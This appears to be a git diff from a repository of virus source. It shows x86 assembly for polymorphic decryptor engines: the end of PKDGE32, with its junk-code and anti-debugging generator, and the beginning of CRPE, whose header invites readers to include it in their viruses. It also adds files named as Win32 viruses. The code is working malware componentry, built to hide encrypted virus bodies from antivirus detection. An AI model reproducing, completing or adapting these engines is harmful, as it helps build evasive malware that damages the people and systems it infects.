mov ecx,2
|
||||
call __random_rdtsc
|
||||
or ecx,ecx
|
||||
jz pkdg_gen_12
|
||||
call pkdg_gen_1
|
||||
call pkdg_gen_2
|
||||
jmp pkdg_gen_f2f
|
||||
pkdg_gen_12: call pkdg_gen_2
|
||||
call pkdg_gen_1
|
||||
|
||||
;
|
||||
; The last step, we generate the last four instructionz with junk codez in them
|
||||
; these four instructionz must in the same order, but the registerz they use
|
||||
; are still random
|
||||
;
|
||||
|
||||
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
|
||||
push edi ; save loop address
|
||||
|
||||
push esi
|
||||
mov eax,ebx ; xor byte [Rw],Imm8
|
||||
shr eax,12 ; ...
|
||||
and al,7 ; ...
|
||||
mov esi,[esp+28] ; ...
|
||||
call __pkdge32_gen_xor_reg_imm
|
||||
pop esi
|
||||
xor eax,eax
|
||||
call __pkdge32_junk
|
||||
|
||||
mov eax,ebx ; inc Rw
|
||||
shr eax,12 ; ...
|
||||
and eax,7 ; ...
|
||||
or al,40h
|
||||
stosb
|
||||
xor eax,eax
|
||||
call __pkdge32_junk
|
||||
|
||||
mov eax,ebx ; dec Rz
|
||||
shr eax,4 ; ...
|
||||
and eax,7 ; ...
|
||||
or al,48h ; ...
|
||||
stosb ; ...
|
||||
|
||||
pop eax ; jnz decrypt_loop
|
||||
sub eax,edi ; get delta
|
||||
dec eax ; ...
|
||||
dec eax ; ...
|
||||
push eax
|
||||
mov al,75h ; write opcode
|
||||
stosb ; ...
|
||||
pop eax
|
||||
stosb ; write operand
|
||||
xor eax,eax
|
||||
call __pkdge32_junk
|
||||
|
||||
mov [esp],edi ; save new EDI
|
||||
popad
|
||||
ret
|
||||
|
||||
pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt
|
||||
mov eax,ebx ; get Rw
|
||||
shr eax,12 ; ...
|
||||
call pkdge32_gen12
|
||||
mov [esp+32],eax ; save offset of code2decrypt
|
||||
ret
|
||||
pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size
|
||||
mov eax,ebx ; get Rz
|
||||
shr eax,4 ; ...
|
||||
and eax,0fh ; ...
|
||||
call pkdge32_gen12
|
||||
ret
|
||||
|
||||
;
|
||||
; Using this function to generate the first two instructionz of the decryptor,
|
||||
; which are permutable
|
||||
;
|
||||
|
||||
pkdge32_gen12: push ecx
|
||||
push eax ; save mask
|
||||
mov ecx,2 ; determine using MOV REG/IMM
|
||||
call __random_rdtsc ; or PUSH IMM/POP REG
|
||||
or eax,eax
|
||||
pop eax ; restore mask
|
||||
pop ecx
|
||||
jz pkdg_g123_0
|
||||
call __pkdge32_gen_mov_reg_imm
|
||||
push edi
|
||||
xor eax,eax
|
||||
mov esi,[esp+16]
|
||||
call __pkdge32_junk
|
||||
pop eax
|
||||
sub eax,4
|
||||
ret
|
||||
pkdg_g123_0: call __pkdge32_gen_pushimm_popreg
|
||||
push eax
|
||||
xor eax,eax
|
||||
mov esi,[esp+16]
|
||||
call __pkdge32_junk
|
||||
pop eax
|
||||
sub eax,4
|
||||
ret
|
||||
|
||||
;
|
||||
; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will
|
||||
; make EBX to the following structure:
|
||||
;
|
||||
; 31 15 0
|
||||
; +-----+-----+-----+-----+------+------+------+------+
|
||||
; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |
|
||||
; +-----+-----+-----+-----+------+------+------+------+
|
||||
;
|
||||
|
||||
pkdg_sel_reg: mov eax,[esp+8] ; select random register
|
||||
mov edx,8 ; ...
|
||||
call __random ; ...
|
||||
or al,al
|
||||
jz pkdg_sel_reg ; don't use EAX
|
||||
cmp al,4
|
||||
jz pkdg_sel_reg ; don't use ESP
|
||||
cmp al,5
|
||||
jz pkdg_sel_reg ; don't use EBP
|
||||
or al,8 ; DWORD type
|
||||
|
||||
push ebx
|
||||
and ebx,0fh
|
||||
cmp bl,al ; R == Rx ?
|
||||
pop ebx
|
||||
jz pkdg_sel_reg
|
||||
|
||||
push ebx
|
||||
shr ebx,4
|
||||
and ebx,0fh
|
||||
cmp bl,al ; R == Rz ?
|
||||
pop ebx
|
||||
jz pkdg_sel_reg
|
||||
|
||||
push ebx
|
||||
shr ebx,8
|
||||
cmp bl,al ; R == Ry ?
|
||||
pop ebx
|
||||
jz pkdg_sel_reg
|
||||
|
||||
push ebx
|
||||
shr ebx,12
|
||||
cmp bl,al ; R == Rw ?
|
||||
pop ebx
|
||||
jz pkdg_sel_reg
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_test_regmask procedure
|
||||
; ================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; All the register mask in the engine (PKDGE32) measure up this formula:
|
||||
; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of
|
||||
; the operand
|
||||
;
|
||||
; +-------+-------+--------+
|
||||
; | bit 8 | bit 3 | type |
|
||||
; +-------+-------+--------+
|
||||
; | x | 0 | byte |
|
||||
; +-------+-------+--------+
|
||||
; | 0 | 1 | dword |
|
||||
; +-------+-------+--------+
|
||||
; | 1 | 1 | word |
|
||||
; +-------+-------+--------+
|
||||
;
|
||||
; This function test this mask, if it specified a WORD type, the function STOSB
|
||||
; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do
|
||||
; nothing but return
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- register mask
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
;
|
||||
; Output:
|
||||
; Nothing
|
||||
;
|
||||
|
||||
__pkdge32_test_regmask:
|
||||
test ah,1
|
||||
jz pkdg_trm_ret
|
||||
push eax
|
||||
mov al,66h
|
||||
stosb
|
||||
pop eax
|
||||
pkdg_trm_ret: ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_gen_mov_reg_imm procedure
|
||||
; ===================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function generatez MOV REG,IMM type of instructionz.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- register mask
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
; esi --- immediate number (source operand)
|
||||
;
|
||||
; Output:
|
||||
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||
; position in the buffer
|
||||
;
|
||||
|
||||
__pkdge32_gen_mov_reg_imm:
|
||||
call __pkdge32_test_regmask
|
||||
push esi
|
||||
or al,0b0h ; generate opcode
|
||||
stosb ; ...
|
||||
xchg eax,esi ; EAX get the operand
|
||||
shr esi,4
|
||||
jc pkdg_gmri_dw ; word/dword ? byte ?
|
||||
stosb ; byte
|
||||
pop esi
|
||||
ret
|
||||
pkdg_gmri_dw: shr esi,5
|
||||
pop esi
|
||||
jc pkdg_gmri_w
|
||||
stosd ; dword
|
||||
ret
|
||||
pkdg_gmri_w: stosw ; word
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_gen_pushimm_popreg procedure
|
||||
; ======================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function generatez PUSH IMM/POP REG group instructionz.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- register mask
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
; esi --- immediate number (source operand)
|
||||
;
|
||||
; Output:
|
||||
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||
; position in the buffer
|
||||
;
|
||||
|
||||
__pkdge32_gen_pushimm_popreg:
|
||||
call __pkdge32_test_regmask
|
||||
push ecx
|
||||
mov ecx,esi ; save IMM in ecx
|
||||
xchg esi,eax
|
||||
test esi,8 ; test BYTE or WORD/DWORD
|
||||
jz pkdg_gpp_b
|
||||
mov al,68h ; push WORD/DWORD
|
||||
stosb ; write opcode
|
||||
xchg eax,ecx ; get IMM
|
||||
test esi,100h ; test WORD or DWORD
|
||||
jnz pkdg_gpp_w
|
||||
stosd ; write operand
|
||||
jmp pkdg_gpp_pop
|
||||
pkdg_gpp_w: stosw
|
||||
jmp pkdg_gpp_pop
|
||||
pkdg_gpp_b: mov al,6ah ; push BYTE
|
||||
stosb ; write opcode
|
||||
mov al,cl ; get IMM
|
||||
stosb ; write operand
|
||||
pkdg_gpp_pop: push edi
|
||||
xor eax,eax
|
||||
push esi
|
||||
mov esi,[esp+28]
|
||||
call __pkdge32_junk
|
||||
pop esi
|
||||
call __pkdge32_test_regmask
|
||||
xchg esi,eax
|
||||
or al,58h ; generate POP opcode
|
||||
stosb ; write pop REG opcode
|
||||
pop eax
|
||||
pop ecx
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_gen_xor_reg_imm procedure
|
||||
; ===================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function generatez XOR [REG],IMM type of instructionz.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- register mask
|
||||
; esi --- the immediate number
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
;
|
||||
; Output:
|
||||
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||
; position in the buffer
|
||||
;
|
||||
|
||||
__pkdge32_gen_xor_reg_imm:
|
||||
call __pkdge32_test_regmask
|
||||
test al,1000b
|
||||
jnz pkdg_gxri_dw
|
||||
and eax,7 ; register mask
|
||||
xchg al,ah
|
||||
or eax,3080h
|
||||
stosw
|
||||
xchg eax,esi
|
||||
stosb
|
||||
ret
|
||||
pkdg_gxri_dw: push eax
|
||||
and eax,7 ; register mask
|
||||
xchg al,ah
|
||||
or eax,3081h
|
||||
stosw
|
||||
xchg eax,esi
|
||||
pop esi
|
||||
shr esi,9
|
||||
jc pkdg_gxri_w
|
||||
stosd ; dword
|
||||
ret
|
||||
pkdg_gxri_w: stosw ; word
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_junk procedure
|
||||
; ========================
|
||||
;
|
||||
;
|
||||
; Decription
|
||||
; ----------
|
||||
;
|
||||
; This is the junk code generator. It generatez length-spceified instructionz,
|
||||
; dummy jumpz and anti-static-debugging opcodez.
|
||||
;
|
||||
; This procedure use EAX as junk register in order to generate instructionz
|
||||
; like:
|
||||
;
|
||||
; mov eax,21343ab7h
|
||||
; shr eax,8
|
||||
; or:
|
||||
; push eax
|
||||
; rol eax,1
|
||||
; pop eax
|
||||
; etc.
|
||||
;
|
||||
; It generatez dummy jumpz such as:
|
||||
;
|
||||
; call @1
|
||||
; junk
|
||||
; jmp @3
|
||||
; @2: junk
|
||||
; ret
|
||||
; @1: junk
|
||||
; jmp @2
|
||||
; @3: junk
|
||||
;
|
||||
; It also generatez anti-static-debugging opcodez such as:
|
||||
;
|
||||
; jmp @0
|
||||
; db e9h
|
||||
; @@:
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- If eax equalz to zero, the function generatez random length of
|
||||
; instructionz, if eax is nonzero, the function generatez a
|
||||
; certain length of instruction.
|
||||
; esi --- pointz to the RNG seed buffer
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
;
|
||||
; Output:
|
||||
; Nothing but junk codez in the buffer that EDI specified
|
||||
;
|
||||
|
||||
__pkdge32_junk: pushad
|
||||
xor ebx,ebx
|
||||
xchg esi,ebp ; let EBP hold the seed ptr.
|
||||
or eax,eax ; EAX containz number from 0~7
|
||||
jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez
|
||||
mov edx,7 ; 6: generate dummy jumpz
|
||||
mov eax,ebp
|
||||
call __random ; ...
|
||||
pkdg_js: or eax,eax ; 0: nothing to do
|
||||
jz pkdg_j_ret ; just go back
|
||||
xchg ecx,eax ; let ECX hold that number
|
||||
cmp ecx,6
|
||||
jz pkdg_j_dj
|
||||
|
||||
;
|
||||
; Generate certain length simpile instructionz
|
||||
;
|
||||
|
||||
pkdg_j_gclsi: mov edx,ecx
|
||||
mov eax,ebp
|
||||
call __random
|
||||
or eax,eax
|
||||
jz pkdg_j_g1b
|
||||
dec eax
|
||||
jz pkdg_j_g2b
|
||||
dec eax
|
||||
jz pkdg_j_g3b
|
||||
dec eax
|
||||
dec eax
|
||||
jz pkdg_j_g5b
|
||||
jmp pkdg_j_gclsi
|
||||
|
||||
;
|
||||
; Generate 5-byte instruction
|
||||
;
|
||||
|
||||
pkdg_j_g5b: call pkdg_j_5
|
||||
db 0b8h ; mov eax,imm32
|
||||
db 05h ; add eax,imm32
|
||||
db 15h ; adc eax,imm32
|
||||
db 2dh ; sub eax,imm32
|
||||
db 1dh ; sbb eax,imm32
|
||||
db 3dh ; cmp eax,imm32
|
||||
db 0a9h ; test eax,imm32
|
||||
db 0dh ; or eax,imm32
|
||||
db 25h ; and eax,imm32
|
||||
db 35h ; xor eax,imm32
|
||||
pkdg_j_5: pop esi
|
||||
mov eax,ebp
|
||||
mov edx,10
|
||||
call __random
|
||||
add esi,eax
|
||||
movsb
|
||||
mov eax,ebp
|
||||
mov edx,0fffffffch
|
||||
call __random
|
||||
inc eax
|
||||
inc eax
|
||||
stosd
|
||||
sub ecx,5 ; decrease counter
|
||||
jz pkdg_j_rptr
|
||||
jmp pkdg_j_gclsi
|
||||
|
||||
;
|
||||
; Generate 3-byte instruction
|
||||
;
|
||||
|
||||
pkdg_j_g3b: call pkdg_j_3
|
||||
db 0c1h,0e0h ; shl eax,imm8
|
||||
db 0c1h,0e8h ; shr eax,imm8
|
||||
db 0c1h,0c0h ; rol eax,imm8
|
||||
db 0c1h,0c8h ; ror eax,imm8
|
||||
db 0c1h,0d0h ; rcl eax,imm8
|
||||
db 0c1h,0d8h ; rcr eax,imm8
|
||||
db 0c0h,0e0h ; shl al,imm8
|
||||
db 0c0h,0e8h ; shr al,imm8
|
||||
db 0c0h,0c0h ; rol al,imm8
|
||||
db 0c0h,0c8h ; ror al,imm8
|
||||
db 0c0h,0d0h ; rcl al,imm8
|
||||
db 0c0h,0d8h ; rcr al,imm8
|
||||
db 0ebh,01h ; anti-static-debugging instr.
|
||||
pkdg_j_3: pop esi
|
||||
mov eax,ebp
|
||||
mov edx,13
|
||||
call __random
|
||||
shl eax,1 ; EAX *= 2
|
||||
add esi,eax
|
||||
movsw
|
||||
cmp eax,24
|
||||
jge pkdg_j3_anti
|
||||
mov eax,ebp
|
||||
mov edx,14
|
||||
call __random
|
||||
inc eax
|
||||
inc eax
|
||||
pkdg_j_3f: stosb
|
||||
sub ecx,3 ; decrease counter
|
||||
jz pkdg_j_rptr
|
||||
jmp pkdg_j_gclsi
|
||||
pkdg_j3_anti: mov eax,ebp
|
||||
mov edx,10h
|
||||
call __random
|
||||
add al,70h
|
||||
jmp pkdg_j_3f
|
||||
|
||||
;
|
||||
; Generate 2-byte instruction
|
||||
;
|
||||
|
||||
pkdg_j_g2b: call pkdg_j_2
|
||||
db 89h ; mov eax,reg
|
||||
db 01h ; add eax,reg
|
||||
db 11h ; adc eax,reg
|
||||
db 29h ; sub eax,reg
|
||||
db 19h ; sbb eax,reg
|
||||
db 39h ; cmp eax,reg
|
||||
db 85h ; test eax,reg
|
||||
db 09h ; or eax,reg
|
||||
db 21h ; and eax,reg
|
||||
db 31h ; xor eax,reg
|
||||
db 0b0h ; mov al,imm8
|
||||
db 04h ; add al,imm8
|
||||
db 14h ; adc al,imm8
|
||||
db 2ch ; sub al,imm8
|
||||
db 1ch ; sbb al,imm8
|
||||
db 3ch ; cmp al,imm8
|
||||
db 0a8h ; test al,imm8
|
||||
db 0ch ; or al,imm8
|
||||
db 24h ; and al,imm8
|
||||
db 34h ; xor al,imm8
|
||||
pkdg_j_2: pop esi
|
||||
mov eax,ebp
|
||||
mov edx,20
|
||||
call __random
|
||||
add esi,eax
|
||||
movsb ; write the opcode
|
||||
cmp eax,10
|
||||
jge pkdg_j2_imm8
|
||||
mov eax,ebp
|
||||
mov edx,8
|
||||
call __random
|
||||
shl eax,3 ; dest. operand
|
||||
or al,0c0h ; ...
|
||||
jmp pkdg_j2_f
|
||||
pkdg_j2_imm8: mov eax,ebp
|
||||
mov edx,100h
|
||||
call __random
|
||||
pkdg_j2_f: stosb
|
||||
dec ecx ; decrease counter
|
||||
dec ecx ; ...
|
||||
jz pkdg_j_rptr
|
||||
jmp pkdg_j_gclsi
|
||||
|
||||
;
|
||||
; Generate 1-byte instruction
|
||||
;
|
||||
|
||||
pkdg_j_g1b: call pkdg_j_1
|
||||
db 90h ; nop
|
||||
db 0f8h ; clc
|
||||
db 0f9h ; stc
|
||||
db 40h ; inc eax
|
||||
db 48h ; dec eax
|
||||
db 37h ; aaa
|
||||
db 3fh ; aas
|
||||
db 98h ; cbw
|
||||
db 0fch ; cld
|
||||
db 0f5h ; cmc
|
||||
db 27h ; daa
|
||||
db 2fh ; das
|
||||
db 9fh ; lahf
|
||||
db 0d6h ; salc
|
||||
pkdg_j_1: pop esi
|
||||
mov eax,ebp
|
||||
mov edx,14
|
||||
call __random
|
||||
add esi,eax
|
||||
movsb ; write the code
|
||||
dec ecx ; decrease counter
|
||||
or ecx,ecx
|
||||
jnz pkdg_j_gclsi
|
||||
pkdg_j_rptr: mov [esp],edi
|
||||
pkdg_j_ret: popad
|
||||
ret
|
||||
|
||||
;
|
||||
; Generate dummy jumpz. the generation formula show in the decription of the
|
||||
; __pkdge32_junk procedure
|
||||
;
|
||||
|
||||
pkdg_j_dj: mov al,0e8h ; call xxxxxxxx
|
||||
stosb ; ...
|
||||
stosd ; addr1, no matter what, fix l8r
|
||||
push edi
|
||||
mov eax,ebp ; some more junx
|
||||
mov edx,6 ; ...
|
||||
call __random ; ...
|
||||
mov esi,ebp ; ...
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0ebh ; jmp xx
|
||||
stosb ; ...
|
||||
stosb ; addr2, no matter what, fix l8r
|
||||
push edi
|
||||
mov eax,ebp ; some more junx
|
||||
mov edx,6 ; ...
|
||||
call __random ; ...
|
||||
mov esi,ebp ; ...
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0c3h ; ret
|
||||
stosb ; ...
|
||||
mov eax,[esp+4] ; fix addr1
|
||||
xchg eax,edi ; ...
|
||||
sub eax,edi ; ...
|
||||
sub edi,4 ; ...
|
||||
stosd ; ...
|
||||
add edi,eax ; ...
|
||||
mov eax,ebp ; some more junx
|
||||
mov edx,6 ; ...
|
||||
call __random ; ...
|
||||
mov esi,ebp ; ...
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0ebh ; jmp xx
|
||||
stosb ; ...
|
||||
mov eax,[esp] ; ...
|
||||
sub eax,edi ; ...
|
||||
dec eax ; ...
|
||||
stosb ; ...
|
||||
pop eax ; fix addr2
|
||||
xchg eax,edi ; ...
|
||||
sub eax,edi ; ...
|
||||
dec edi ; ...
|
||||
stosb ; ...
|
||||
add edi,eax ; ...
|
||||
pop eax ; pop a shit
|
||||
mov eax,ebp ; some more junx
|
||||
mov edx,6 ; ...
|
||||
call __random ; ...
|
||||
mov esi,ebp ; ...
|
||||
call __pkdge32_junk ; ...
|
||||
jmp pkdg_j_rptr
|
3192
Engines/Virus.Win32.Plexar.asm
Normal file
3192
Engines/Virus.Win32.Plexar.asm
Normal file
File diff suppressed because it is too large
Load Diff
BIN
Engines/Virus.Win32.Poly.7z
Normal file
BIN
Engines/Virus.Win32.Poly.7z
Normal file
Binary file not shown.
705
Engines/Virus.Win32.Real.inc
Normal file
705
Engines/Virus.Win32.Real.inc
Normal file
@ -0,0 +1,705 @@
|
||||
;-------------------------------------------------------------------------------
|
||||
;
|
||||
; CRPE - cH4R_ Real Polymorphic Engine
|
||||
;
|
||||
; by cH4R_/iKX
|
||||
;
|
||||
; Version: 1.5
|
||||
;
|
||||
;-------------------------------------------------------------------------------
|
||||
; http://www.charvx.cjb.net
|
||||
;-------------------------------------------------------------------------------
|
||||
; LICENSE: You can do ANYTHING with this code, this code have NO WARRANTLY of
|
||||
; work, and the author will NOT be responsible for damages to your machine or
|
||||
; any other machine. If you will use it in your virus, just give me some
|
||||
; credits, and i will be happy. ;*
|
||||
;-------------------------------------------------------------------------------
|
||||
;
|
||||
; News:
|
||||
;
|
||||
; - New code layout (tabs :P)
|
||||
; - Some optimizations for size and speed
|
||||
; - Improved morphing & trash generation
|
||||
; - A lot of bugs fixed, now CRPE is completely working !! :D
|
||||
;
|
||||
;-------------------------------------------------------------------------------
|
||||
;
|
||||
; CRPE in pratice:
|
||||
;
|
||||
; To use it in your virus u will have to include CRPE in your
|
||||
; source (duh!). Before call the engine to make a poly decryptor,
|
||||
; "YOU" will have to find a place to HASH, used obtain a the
|
||||
; encryption/decryption key.
|
||||
; Your code must allow 586 instructions and have about 100
|
||||
; bytes of stack memory for CRPE.
|
||||
;
|
||||
; ------> Input (in STACK):
|
||||
;
|
||||
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
|
||||
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
|
||||
; Arg3 = [BUFFER TO CRPE SAVE "CALL + ENCRYPTED DATA + DECRYPTOR"]
|
||||
; Arg4 = [SIZE OF AREA TO HASH]
|
||||
; Arg5 = [POINTER TO AREA THAT WE WILL HASH]
|
||||
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
|
||||
;
|
||||
; ------> Output:
|
||||
;
|
||||
; EAX = Size of "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"
|
||||
; * ALL other register will be restored
|
||||
; ** Flags will be "corrupted"
|
||||
;
|
||||
; ------> Example (for dummy guys):
|
||||
;
|
||||
; In data section:
|
||||
;
|
||||
; Buf db (CRPE_max_total + SIZE_OF_YOUR_CODE) dup (0)
|
||||
;
|
||||
; In code section:
|
||||
;
|
||||
; push 00401000h ; Area to hash, in infected file
|
||||
; push edx ; Area to hash, now
|
||||
; push 00000200h ; Size of area to hash
|
||||
; push [ebp+Buf] ; Buffer
|
||||
; push CODE_SIZE ; Size of area to encrypt
|
||||
; push [ebp+CODE_BEGIN] ; Pointer to area to encrypt
|
||||
; call CRPE_make
|
||||
;
|
||||
; ------> The result will be something like:
|
||||
;
|
||||
; [SOME TRASH INSTRUCTIONS]
|
||||
;
|
||||
; [CALL POLY_DECRYPTOR]
|
||||
;
|
||||
; [ENCRYPTED DATA]
|
||||
;
|
||||
; [POLY_DECRYPTOR]
|
||||
;
|
||||
;-------------------------------------------------------------------------------
|
||||
|
||||
|
||||
; -- User information to allocate memory --
|
||||
|
||||
; Max. size of decryptor in bytes
|
||||
CRPE_max_dec equ 0A3h
|
||||
; Max. memory required, SizeOf( [TRASH] + CALL POLY_DECRYPTOR + POLY_DECRYPTOR )
|
||||
CRPE_max_total equ CRPE_max_dec+02Fh
|
||||
|
||||
; -----------------------------------------
|
||||
|
||||
; Things to save my time...
|
||||
ofs equ offset
|
||||
bye equ byte ptr
|
||||
dwo equ dword ptr
|
||||
wod equ word ptr
|
||||
|
||||
; Structure of PUSHAD
|
||||
STACK_REG STRUCT
|
||||
_EDI dd ?
|
||||
_ESI dd ?
|
||||
_EBP dd ?
|
||||
_ESP dd ?
|
||||
_EBX dd ?
|
||||
_EDX dd ?
|
||||
_ECX dd ?
|
||||
_EAX dd ?
|
||||
STACK_REG ENDS
|
||||
|
||||
; PUSHAD structure size
|
||||
STACK_REGS equ SIZE STACK_REG
|
||||
|
||||
; Structure of stack used in CRPE
|
||||
|
||||
; Arguments
|
||||
arg6 equ 18h
|
||||
arg5 equ 14h
|
||||
arg4 equ 10h
|
||||
arg3 equ 0Ch
|
||||
arg2 equ 08h
|
||||
arg1 equ 04h
|
||||
|
||||
; SizeOf( PUSHAD + TEMPORARY MEMORY )
|
||||
CRPE_stack equ CRPE_tmp+STACK_REGS
|
||||
|
||||
; Size of temporary memory
|
||||
CRPE_tmp equ 0Fh
|
||||
|
||||
; Registers
|
||||
R_EAX equ 0
|
||||
R_ECX equ 1
|
||||
R_EDX equ 2
|
||||
R_EBX equ 3
|
||||
R_ESP equ 4
|
||||
R_EBP equ 5
|
||||
R_ESI equ 6
|
||||
R_EDI equ 7
|
||||
|
||||
; CRPE Signature
|
||||
db "[CRPE]"
|
||||
|
||||
;-------------------------------------------------------------------------------
|
||||
; Main procedure of CRPE
|
||||
;-------------------------------------------------------------------------------
|
||||
; Input:
|
||||
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
|
||||
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
|
||||
; Arg3 = [BUFFER TO CRPE SAVE "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"]
|
||||
; Arg4 = [SIZE OF AREA TO HASH]
|
||||
; Arg5 = [POINTER TO AREA THAT WE WILL HASH, NOW]
|
||||
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
|
||||
; Output:
|
||||
; EAX = Size of result ("TRASH + CALL + ENCRYPTED DATA + DECRYPTOR") in bytes
|
||||
|
||||
CRPE_make proc
|
||||
|
||||
pushad ; Save registers...
|
||||
|
||||
; Set memory
|
||||
|
||||
sub esp,CRPE_tmp ; Reserve stack
|
||||
mov ebp,esp ; EBP = Pointer to reserved stack
|
||||
|
||||
mov edi,[esp+CRPE_stack+arg3] ; EDI = Pointer to buffer
|
||||
|
||||
; Generate initial TRASH + CALL
|
||||
|
||||
call CRPE_tg ; Generate some trash..
|
||||
|
||||
push 1 ; We will generate more trash ?
|
||||
call CRPE_rnd ;
|
||||
xchg eax,ecx ; Choose: YES or NOT
|
||||
jecxz @insert_call ;
|
||||
|
||||
call CRPE_tg ; Generate more trash...
|
||||
|
||||
@insert_call:
|
||||
mov al,0E8h ; Generate: CALL opcode
|
||||
stosb ; write...
|
||||
mov eax,edi ; Generate: immed32
|
||||
add eax,[esp+CRPE_stack+arg2] ;
|
||||
sub eax,edi ;
|
||||
stosd ; write...
|
||||
|
||||
; Copy
|
||||
|
||||
mov ecx,[esp+CRPE_stack+arg2] ; ECX = Size of area to encrypt
|
||||
mov esi,[esp+CRPE_stack+arg1] ; ESI = Pointer to area
|
||||
push edi ; Save EDI !
|
||||
push ecx ; Save ECX !
|
||||
cld ;
|
||||
rep movsb ; Copy...
|
||||
|
||||
; Hash
|
||||
|
||||
mov ebx,[esp+CRPE_stack+arg5+8] ; EBX = Area to hash
|
||||
mov ecx,[esp+CRPE_stack+arg4+8] ; ECX = Size of area to hash
|
||||
push -1 ;
|
||||
call CRPE_rnd ; EAX = Random number
|
||||
mov [ebp+4],eax ; Save "MAGIC" in temporary memory
|
||||
|
||||
push eax ; Arg3
|
||||
push ecx ; Arg2
|
||||
push ebx ; Arg1
|
||||
call CRPE_hash ; Hash...
|
||||
|
||||
; Encrypt
|
||||
|
||||
pop ecx ; Restore ECX !
|
||||
pop edx ; Restore EDI in EDX !
|
||||
|
||||
sub ecx,4 ; \ Some fixes...
|
||||
add edx,ecx ; /
|
||||
@@enc_loop:
|
||||
xor [edx],eax ; XOR [BUFFER], KEY
|
||||
xor eax,ecx ; XOR KEY, COUNTER
|
||||
dec edx
|
||||
dec ecx ; DEC COUNTER
|
||||
jns @@enc_loop ; encryption loop
|
||||
|
||||
; --- TRASH + PUSHAD ---
|
||||
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||
jecxz @no_trash ; ECX = 0 ? Dont put trash...
|
||||
call CRPE_tg ; Trash gen. routine
|
||||
@no_trash: ;
|
||||
mov al,60h ; Generate: PUSHAD
|
||||
stosb ; Write...
|
||||
|
||||
; --- HASH INIT ---
|
||||
|
||||
; Generate MOV (REG32_1),Buffer
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-3
|
||||
mov [ebp],al ; Save AL in temporary memory
|
||||
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
|
||||
stosb ; Write..
|
||||
mov eax,[esp+CRPE_stack+arg6] ; imm32 = Pointer to buffer
|
||||
stosd ; Write..
|
||||
|
||||
; Generate MOV (REG32_2),Size
|
||||
@rnd_1: ;
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-3
|
||||
cmp [ebp],al ; AL = First value of AL ?
|
||||
jz @rnd_1 ; Randomize again...
|
||||
mov [ebp+1],al ; Save AL in temporary memory
|
||||
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
|
||||
stosb ; Write..
|
||||
mov eax,[esp+CRPE_stack+arg4] ; imm32 = Size of buffer
|
||||
stosd ; Write..
|
||||
|
||||
; Generate XOR/SUB (REG32_3),(REG32_3)
|
||||
@rnd_2:
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-3
|
||||
cmp [ebp],al ; AL = First value of AL ?
|
||||
jz @rnd_2 ; Randomize again...
|
||||
cmp [ebp+1],al ; AL = Second value of AL ?
|
||||
jz @rnd_2 ; Randomize again...
|
||||
mov [ebp+2],al ; Save AL in temporary memory...
|
||||
mov bl,al ; BL = AL \
|
||||
shl al,3 ; AL = AL * 8 > Optimized for speed
|
||||
add al,bl ; AL+= BL /
|
||||
or al,0C0h ; AL+= 0C0h (r32/r32)
|
||||
mov ebx,eax ; EBX = EAX
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: SUB or XOR
|
||||
or eax,eax ;
|
||||
jz @@sub__ ;
|
||||
@@xor__: ;
|
||||
mov al,033h ; Generate: XOR
|
||||
jmp @write0 ;
|
||||
@@sub__: ;
|
||||
